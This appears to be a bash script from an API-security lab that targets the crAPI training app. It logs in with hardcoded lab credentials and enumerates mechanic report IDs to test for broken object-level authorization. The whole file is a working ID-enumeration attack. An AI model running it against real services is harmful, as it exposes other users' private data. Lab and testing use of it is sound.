You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

bola2_reports.sh 1.6KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051
  1. #!/bin/bash
  2. # Prompt the user to enter the value of HOSTNAME
  3. read -p "Enter the HOSTNAME: " HOSTNAME
  4. # Function to obtain access token for a given email and password
  5. get_access_token() {
  6. local email=$1
  7. local password=$2
  8. # Use curl to get the access token and jq to extract it
  9. local access_token=$(curl "http://$HOSTNAME/identity/api/auth/login" \
  10. -H 'Content-Type: application/json' \
  11. --data-raw '{"email":"'"$email"'","password":"'"$password"'"}' \
  12. --insecure -s | jq -j .token)
  13. echo "$access_token"
  14. }
  15. # Define the common password
  16. COMMON_PASSWORD='cRaPi2023!!!'
  17. # Define the email addresses
  18. emails=(
  19. 'apilab@akamai.com'
  20. 'apilab2@akamai.com'
  21. 'apilab3@akamai.com'
  22. 'apilab4@akamai.com'
  23. )
  24. for ((i=0; i<${#emails[@]}; i++)); do
  25. access_token=$(get_access_token "${emails[i]}" "$COMMON_PASSWORD")
  26. # Make 5 requests for report IDs 1 to 5
  27. for report_id in {1..5}; do
  28. curl "http://$HOSTNAME/workshop/api/mechanic/mechanic_report?report_id=$report_id" \
  29. -H 'Accept: */*' \
  30. -H 'Accept-Language: en-US,en;q=0.9' \
  31. -H "Authorization: Bearer $access_token" \
  32. -H 'Connection: keep-alive' \
  33. -H 'Content-Type: application/json' \
  34. -H "Referer: http://$HOSTNAME/dashboard" \
  35. -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36' \
  36. -H 'pragma: akamai-x-ro-trace' \
  37. -H 'x-akamai-a2-disable: on' \
  38. -H 'x-akamai-ro-piez: on' \
  39. -H 'x-im-piez: on' \
  40. --compressed \
  41. --insecure | jq -j
  42. done
  43. done